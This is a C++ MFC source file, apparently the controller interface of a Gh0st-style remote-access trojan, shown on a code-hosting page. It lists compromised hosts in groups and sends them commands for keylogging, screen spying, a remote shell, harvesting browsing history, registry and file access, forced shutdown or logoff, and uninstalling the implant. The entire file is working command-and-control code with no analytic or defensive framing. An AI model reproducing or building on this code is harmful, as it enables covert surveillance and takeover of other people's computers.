2024-06-23 17:36:53 +08:00

548 lines
15 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// GroupDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "Client.h"
#include "GroupDlg.h"
#include "MainFrm.h"
#include "InputDlg.h"
#include "InfoDlg.h"
#include "MsgBoxDlg.h"
CGroupDlg *g_pGroupDlg;
extern CInfoDlg *g_pInfoDlg;
extern CIOCPServer *m_iocpServer;
// CGroupDlg 对话框
CGroupDlg::CGroupDlg(CWnd* pParent /*=NULL*/)
: CXTPResizeDialog(CGroupDlg::IDD, pParent) {
g_pGroupDlg = this;
}
void CGroupDlg::DoDataExchange(CDataExchange* pDX)
{
CXTPResizeDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_TREE_GROUP, m_tree_group);
}
BEGIN_MESSAGE_MAP(CGroupDlg, CXTPResizeDialog)
ON_WM_PAINT()
ON_WM_CTLCOLOR()
ON_WM_WINDOWPOSCHANGED()
ON_NOTIFY(NM_RCLICK, IDC_TREE_GROUP, &CGroupDlg::OnNMRClickTreeGroup)
ON_NOTIFY(TVN_SELCHANGED, IDC_TREE_GROUP, &CGroupDlg::OnTvnSelchangedTreeGroup)
ON_COMMAND(ID_TOOL_FILE, &CGroupDlg::OnToolFile)
ON_COMMAND(ID_TOOL_PM, &CGroupDlg::OnToolPm)
ON_COMMAND(ID_TOOL_SYSTEM, &CGroupDlg::OnToolSystem)
ON_COMMAND(ID_TOOL_SERVICE, &CGroupDlg::OnToolService)
ON_COMMAND(ID_TOOL_SYSINFO, &CGroupDlg::OnToolSysinfo)
ON_COMMAND(ID_TOOL_KEYBOARD, &CGroupDlg::OnToolKeyboard)
ON_COMMAND(ID_TOOL_REGEDIT, &CGroupDlg::OnToolRegedit)
ON_COMMAND(ID_TOOL_REMOVE, &CGroupDlg::OnToolRemove)
ON_COMMAND(ID_TOOL_CHANGEGROUP, &CGroupDlg::OnToolChangegroup)
ON_COMMAND(ID_TOOL_RESTART, &CGroupDlg::OnToolRestart)
ON_COMMAND(ID_TOOL_LOGOUT, &CGroupDlg::OnToolLogout)
ON_COMMAND(ID_TOOL_SHUT, &CGroupDlg::OnToolShut)
ON_COMMAND(ID_TOOL_SENDMSG, &CGroupDlg::OnToolSendmsg)
ON_COMMAND(ID_TOOL_CHANGEREMARK, &CGroupDlg::OnToolChangeremark)
ON_COMMAND(ID_TOOL_REMOTESHELL, &CGroupDlg::OnToolRemoteshell)
END_MESSAGE_MAP()
// CGroupDlg 消息处理程序
BOOL CGroupDlg::OnInitDialog()
{
CXTPResizeDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
SetResize(IDC_TREE_GROUP,XTP_ANCHOR_TOPLEFT, XTP_ANCHOR_BOTTOMRIGHT);
if(!m_cImageList.Create(16,16,ILC_COLOR32|ILC_MASK,87*2,87*2) )
return FALSE;
CBitmap bmp;
bmp.LoadBitmap(IDB_TREE_IMAGES);
m_cImageList.Add(&bmp,RGB(255,255,255));
m_tree_group.SetImageList(&m_cImageList, TVSIL_NORMAL);
m_hMyComputer= m_tree_group.InsertItem(((CClientApp *)AfxGetApp())->m_CompanyName,0,0);
m_hAutoComputer= m_tree_group.InsertItem(_T("默认分组(0)"),1,1,m_hMyComputer);
m_tree_group.EnableMultiSelect();
m_tree_group.SetItemBold(m_hMyComputer);
// m_tree_group.SetItemColor(m_hMyComputer,RGB(255,20,147));
m_tree_group.SetExplorerTheme(TRUE);
// m_tree_group.SetTheme(xtpControlThemeOffice2016);
m_tree_group.Expand(m_hMyComputer, TVE_EXPAND);
m_tree_group.Expand(m_hAutoComputer, TVE_EXPAND);
m_tree_group.SetFont(&XTPAuxData().font);
m_tree_group.RefreshMetrics();
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
void CGroupDlg::SetOwnerPane(CXTPDockingPane* pPane)
{
ASSERT(pPane);
m_pPane = pPane;
}
void CGroupDlg::RefreshMetrics(XTPDockingPanePaintTheme nPaneTheme)
{
m_brush.DeleteObject();
XTPControlTheme nTheme = xtpControlThemeDefault;
COLORREF clrBrush = ::GetSysColor(COLOR_3DFACE);
switch(nPaneTheme)
{
case xtpPaneThemeOffice2007Word:
clrBrush = XTPResourceImages()->GetImageColor(_T("DockingPane"), _T("WordPaneBackground"));
nTheme = xtpControlThemeResource;
break;
case xtpPaneThemeOffice2013:
clrBrush = XTPIniColor(_T("DockingPane"), _T("Background"), RGB(255,255,255));
nTheme = xtpControlThemeOffice2013;
break;
case xtpPaneThemeVisualStudio2003: // System nTheme
clrBrush = ::GetSysColor(COLOR_3DFACE);
nTheme = xtpControlThemeOfficeXP;
break;
case xtpPaneThemeVisualStudio2015:
clrBrush = XTPIniColor(_T("DockingPane"), _T("Background"), RGB(255,255,255));
nTheme = xtpControlThemeVisualStudio2015;
break;
}
theApp.m_csPane.RefreshMetrics(nPaneTheme);
m_brush.CreateSolidBrush(clrBrush);
SendMessageToDescendants(
WM_XTP_SETCONTROLTHEME, nTheme);
RedrawWindow(NULL ,NULL,
RDW_INVALIDATE | RDW_UPDATENOW | RDW_ERASE | RDW_ALLCHILDREN);
}
void CGroupDlg::OnPaint()
{
CPaintDC dc(this); // device context for painting
// TODO: 在此处添加消息处理程序代码
// 不为绘图消息调用 CXTPResizeDialog::OnPaint()
CXTPClientRect rWindow(this);
theApp.m_csPane.DrawBorders(&dc, rWindow, m_pPane);
}
HBRUSH CGroupDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
{
CXTPResizeDialog::OnCtlColor(pDC, pWnd, nCtlColor);
return m_brush;
}
void CGroupDlg::OnWindowPosChanged(WINDOWPOS* lpwndpos)
{
CXTPResizeDialog::OnWindowPosChanged(lpwndpos);
// TODO: 在此处添加消息处理程序代码
// refresh borders.
RedrawWindow(NULL ,NULL,
RDW_INVALIDATE | RDW_UPDATENOW | RDW_ERASE | RDW_ALLCHILDREN);
}
// 右键主机
CString strHost;
void CGroupDlg::OnNMRClickTreeGroup(NMHDR *pNMHDR, LRESULT *pResult)
{
// TODO: 在此添加控件通知处理程序代码
CPoint pt;
CPoint ptSc ;//右击菜单的右上角的位置是基于屏幕坐标系
UINT flag;
GetCursorPos(&pt); //获取当前点击坐标的全局坐标
ptSc = pt;
ScreenToClient(&pt);
MapWindowPoints(&m_tree_group,&pt,1);//MapWindowPoint 为父类CDialog的成员函数, 将坐标系映射为CTreeCtrl的坐标系
HTREEITEM hItem = m_tree_group.HitTest(pt,&flag) ;
if(NULL != hItem)
{
m_tree_group.Select(hItem,TVGN_CARET);//设置点击节点为当前选中节点
strHost.Format(_T("%s"),m_tree_group.GetItemText(hItem));
if (!m_tree_group.ItemHasChildren(hItem)&&strHost.Find(_T("默认分组"))==-1)// 过滤下分组
{
CMenu m,*mn;
m.LoadMenu(IDR_MENU_TOOL);//加载菜单资源
mn = m.GetSubMenu(0);//获取菜单子项
mn->TrackPopupMenu(TPM_LEFTALIGN,ptSc.x,ptSc.y,this); //显示菜单
}
}
*pResult = 0;
}
// 点击主机
void CGroupDlg::OnTvnSelchangedTreeGroup(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMTREEVIEW pNMTreeView = reinterpret_cast<LPNMTREEVIEW>(pNMHDR);
// TODO: 在此添加控件通知处理程序代码
if(pNMTreeView->itemNew.hItem!=pNMTreeView->itemOld.hItem)
{
// 主机名
CString strText = m_tree_group.GetItemText(pNMTreeView->itemNew.hItem);
if (!m_tree_group.ItemHasChildren(pNMTreeView->itemNew.hItem)&&strText.Find(_T("默认分组"))==-1)// 过滤下分组
{
if ( m_tree_group.GetSelectedCount() == 0 )//修复release模式下单击分组弹出encountered an improper argument
return;
CString strmem,strcpu,stros,strip,struser;
for(int i=0;i<g_pInfoDlg->m_list_info.GetItemCount();i++)
{
if (m_tree_group.GetItemData(pNMTreeView->itemNew.hItem) == g_pInfoDlg->m_list_info.GetItemData(i))
{
strmem = g_pInfoDlg->m_list_info.GetItemText(i,4);
struser = g_pInfoDlg->m_list_info.GetItemText(i,3);
strcpu = g_pInfoDlg->m_list_info.GetItemText(i,5);
strip = g_pInfoDlg->m_list_info.GetItemText(i,1);
stros = g_pInfoDlg->m_list_info.GetItemText(i,7);
g_pInfoDlg->SetDlgItemText(IDC_STATIC_OS2,stros);
g_pInfoDlg->SetDlgItemText(IDC_STATIC_USER2,struser);
g_pInfoDlg->SetDlgItemText(IDC_STATIC_CPU2,strcpu);
g_pInfoDlg->SetDlgItemText(IDC_STATIC_IP2,strip);
g_pInfoDlg->SetDlgItemText(IDC_STATIC_MEM2,strmem);
g_pInfoDlg->SetDlgItemText(IDC_STATIC_HOST,strText);
g_pInfoDlg->SetDlgItemText(IDC_STATIC_NAME2,strText);
}
}
}
}
*pResult = 0;
}
void CGroupDlg::SendSelectCommand(PBYTE pData, UINT nSize)
{
if ( m_tree_group.GetSelectedCount() == 0 )
return;
HTREEITEM hGroupItem = m_tree_group.GetRootItem();
hGroupItem = m_tree_group.GetChildItem(hGroupItem);
HTREEITEM hChildItem = NULL;
while(hGroupItem)//进入分组查找
{
if (m_tree_group.ItemHasChildren(hGroupItem))//针对存在主机的分组进行查找
{
hChildItem = m_tree_group.GetChildItem(hGroupItem);
while(hChildItem)//进入主机查找
{
if (m_tree_group.GetItemState(hChildItem, TVIS_SELECTED)&&!m_tree_group.ItemHasChildren(hChildItem))//针对选中状态
{
ClientContext* pContext = (ClientContext*)m_tree_group.GetItemData(hChildItem);
m_iocpServer->Send(pContext, pData, nSize);//向该主机发送命令
}
hChildItem = m_tree_group.GetNextSiblingItem(hChildItem);//遍历下一主机
}
hGroupItem = m_tree_group.GetNextSiblingItem(hGroupItem);//遍历下一分组
}
else//分组内不存在主机
{
hGroupItem =m_tree_group.GetNextSiblingItem(hGroupItem);//遍历下一分组
}
}
}
void CGroupDlg::OnToolFile()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_LIST_DRIVE;
SendSelectCommand(&bToken, sizeof(BYTE));
}
void CGroupDlg::OnToolPm()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_SCREEN_SPY;
SendSelectCommand(&bToken, sizeof(BYTE));
}
void CGroupDlg::OnToolSystem()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_SYSTEM;
SendSelectCommand(&bToken, sizeof(BYTE));
}
void CGroupDlg::OnToolService()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_SERVICE_MANAGER;
SendSelectCommand(&bToken, sizeof(BYTE));
}
void CGroupDlg::OnToolSysinfo()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_URL_HISTORY;
SendSelectCommand(&bToken, sizeof(BYTE));
}
void CGroupDlg::OnToolKeyboard()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_KEYBOARD;
SendSelectCommand(&bToken, sizeof(BYTE));
}
void CGroupDlg::OnToolRegedit()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_REGEDIT;
SendSelectCommand(&bToken, sizeof(BYTE));
}
void CGroupDlg::OnToolRemove()
{
// TODO: 在此添加命令处理程序代码
if (MessageBox(_T("确认卸载服务端吗?)"), _T("警告"), MB_YESNO | MB_ICONWARNING) == IDNO)
return;
BYTE bToken = COMMAND_UNINSTALL;
SendSelectCommand((LPBYTE)&bToken, sizeof(bToken));
}
HTREEITEM CGroupDlg::AddToGroup(CString strGroup)//向树形结点添加分组,并返回句柄。入参为添加的分组名(不能带括号)
{
HTREEITEM hRootItem = m_tree_group.GetRootItem();
HTREEITEM hItem = m_tree_group.GetChildItem(hRootItem);
if(hItem == NULL)//还没有任何主机上线
{
hItem = m_tree_group.InsertItem(strGroup,hRootItem);//写入分组
m_tree_group.SetItemData(hItem, 0x1); //分组的主机标记位刚好可以记录组内主机数量初始化为1
m_tree_group.SetItemImage(hItem,1,1); //设置图标
m_nCount++; //分组数量加1
}else
{
while(hItem != NULL)
{
CString strTitle = m_tree_group.GetItemText(hItem);//从树形控件读取分组名
int i = strTitle.Find("(");
strTitle = strTitle.Left(i);
if(strTitle == strGroup)
{
m_tree_group.SetItemData(hItem,m_tree_group.GetItemData(hItem)+1);//组内主机数量加1
break;
}
hItem = m_tree_group.GetNextItem(hItem,TVGN_NEXT); //遍历同等级子结点
}
if(hItem == NULL) //遍历分组结束,并且未找到
{
hItem = m_tree_group.InsertItem(strGroup,hRootItem);//写入新分组
m_tree_group.SetItemData(hItem, 0x1); //分组的主机标记位刚好可以记录组内主机数量初始化为1
m_tree_group.SetItemImage(hItem,1,1); //设置图标
m_nCount++; //分组数量加1
}
}
//重置分组名
strGroup.Format(_T("%s(%d)"), strGroup , m_tree_group.GetItemData(hItem));
m_tree_group.SetItemText(hItem, strGroup);
//展开分组
m_tree_group.Expand(hItem,TVE_EXPAND);
return hItem;
}
//更改分组
void CGroupDlg::OnToolChangegroup()
{
// TODO: 在此添加命令处理程序代码
if ( m_tree_group.GetSelectedCount() == 0 )//没有选中主机直接返回
return;
HTREEITEM hItem = m_tree_group.GetSelectedItem();
CString str,strGroup;
CInputDialog dlg;
if (m_tree_group.GetSelectedCount() == 1)//选中一个主机
{
str.Format(_T("更改(%s)的分组"), m_tree_group.GetItemText(hItem));
strGroup = m_tree_group.GetItemText(m_tree_group.GetParentItem(hItem));
int i = strGroup.Find(_T("("));
strGroup = strGroup.Left(i);
dlg.m_str.Format(_T("%s"), strGroup);//取主机分组值,方便修改
}
else{
MessageBox(_T("暂不支持多个主机同时操作!"),_T("提示"), MB_ICONWARNING);
return;
}
dlg.Init(str, _T("请输入新的分组:"), this);
if (dlg.DoModal() != IDOK || dlg.m_str.GetLength()== 0)
return;
strGroup = dlg.m_str; //新的分组名
HTREEITEM hParent = g_pGroupDlg->m_tree_group.GetParentItem(hItem);
CString strTitle = m_tree_group.GetItemText(hParent);//从树形控件读取分组名
int i = strTitle.Find(_T("("));
strTitle = strTitle.Left(i);
if (strcmp(strTitle,strGroup) ==0)
{
MessageBox(_T("已经在该分组,不需要修改!"),_T("提示"), MB_ICONWARNING);
return;
}
int nPacketLength = strGroup.GetLength() + 2;
LPBYTE lpPacket = new BYTE[nPacketLength];
lpPacket[0] = COMMAND_CHANGE_GROUP;
memcpy(lpPacket + 1, strGroup, nPacketLength - 1);
SendSelectCommand(lpPacket, nPacketLength); //发送命令
delete[] lpPacket;
//写入新的分组,并返回组句柄
HTREEITEM hGroup = AddToGroup(dlg.m_str);
//在新分组写入计算机名,并返回新结点的句柄
HTREEITEM hChild = m_tree_group.InsertItem(m_tree_group.GetItemText(hItem),2,2,hGroup);
//在新结点内写入命令标记
m_tree_group.SetItemData(hChild, m_tree_group.GetItemData(hItem));
//删除原主机及分组
m_tree_group.DeleteItem(hItem); //删除主机
m_tree_group.SetItemData(hParent, m_tree_group.GetItemData(hParent)-1);//改写分组内主机数量
if(m_tree_group.GetItemData(hParent) == 0&& strTitle.Find(_T("默认分组"))==-1)//若分组内无主机则删除
{
m_tree_group.DeleteItem(hParent); //删除分组
m_nCount -= 1; //分组数量减1
}
else
{
//重置分组显示
strTitle.Format(_T("%s(%d)"),strTitle ,m_tree_group.GetItemData(hParent)); //将主机数量加在数组名后
m_tree_group.SetItemText( hParent, strTitle);//重置分组信息
}
}
//更改备注
void CGroupDlg::OnToolChangeremark()
{
// TODO: 在此添加命令处理程序代码
HTREEITEM hItem = m_tree_group.GetSelectedItem();
CString str;
CInputDialog dlg;
if (m_tree_group.GetSelectedCount() == 1)//选中一个主机
{
str.Format(_T("更改(%s)的备注"), m_tree_group.GetItemText(hItem));
}
else{
MessageBox(_T("暂不支持多个主机同时操作!"),_T("提示"), MB_ICONWARNING);
return;
}
dlg.Init(str, _T("请输入新的备注:"), this);
if (dlg.DoModal() != IDOK || dlg.m_str.GetLength()== 0)
return;
int nPacketLength = dlg.m_str.GetLength() + 2;
LPBYTE lpPacket = new BYTE[nPacketLength];
lpPacket[0] = COMMAND_RENAME_REMARK;
memcpy(lpPacket + 1, dlg.m_str, nPacketLength - 1);
SendSelectCommand(lpPacket, nPacketLength); //发送命令
delete[] lpPacket;
m_tree_group.SetItemText(hItem,dlg.m_str);
}
void CGroupDlg::OnToolRestart()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken[2];
bToken[0] = COMMAND_SESSION;
bToken[1] = EWX_REBOOT | EWX_FORCE;
SendSelectCommand((LPBYTE)&bToken, sizeof(bToken));
// LocalFree((LPBYTE)&bToken);
}
void CGroupDlg::OnToolLogout()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken[2];
bToken[0] = COMMAND_SESSION;
bToken[1] = EWX_LOGOFF | EWX_FORCE;
SendSelectCommand((LPBYTE)&bToken, sizeof(bToken));
// LocalFree((LPBYTE)&bToken);
}
void CGroupDlg::OnToolShut()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken[2];
bToken[0] = COMMAND_SESSION;
bToken[1] = EWX_SHUTDOWN | EWX_FORCE;
SendSelectCommand((LPBYTE)&bToken, sizeof(bToken));
// LocalFree((LPBYTE)&bToken);
}
struct MSGBOX
{
CHAR Title[200];
CHAR szText[1000];
UINT Type;
}MsgBox;
void CGroupDlg::OnToolSendmsg()
{
// TODO: 在此添加命令处理程序代码
CMsgBoxDlg dlg;
SHOW:
if(dlg.DoModal() != IDOK)
return;
if (strlen(dlg.m_edit_caption)<1 || strlen(dlg.m_edit_text) < 1)
{
MessageBox("请输入发送标题及内容... ", "提示! ", MB_OK | MB_ICONWARNING);
goto SHOW;
}
ZeroMemory(&MsgBox,sizeof(MSGBOX));
strcpy(MsgBox.Title,dlg.m_edit_caption.GetBuffer(0));
strcpy(MsgBox.szText,dlg.m_edit_text.GetBuffer(0));
MsgBox.Type = dlg.m_msgButton|dlg.m_msgIcon;
BYTE *bToken = new BYTE[sizeof(MSGBOX)+1];
bToken[0]= COMMAND_MESSAGEBOX;
memcpy(&bToken[1],&MsgBox,sizeof(MSGBOX));
SendSelectCommand(bToken, sizeof(MSGBOX)+1);
delete bToken;
goto SHOW;
}
void CGroupDlg::OnToolRemoteshell()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_SHELL;
SendSelectCommand(&bToken, sizeof(BYTE));
}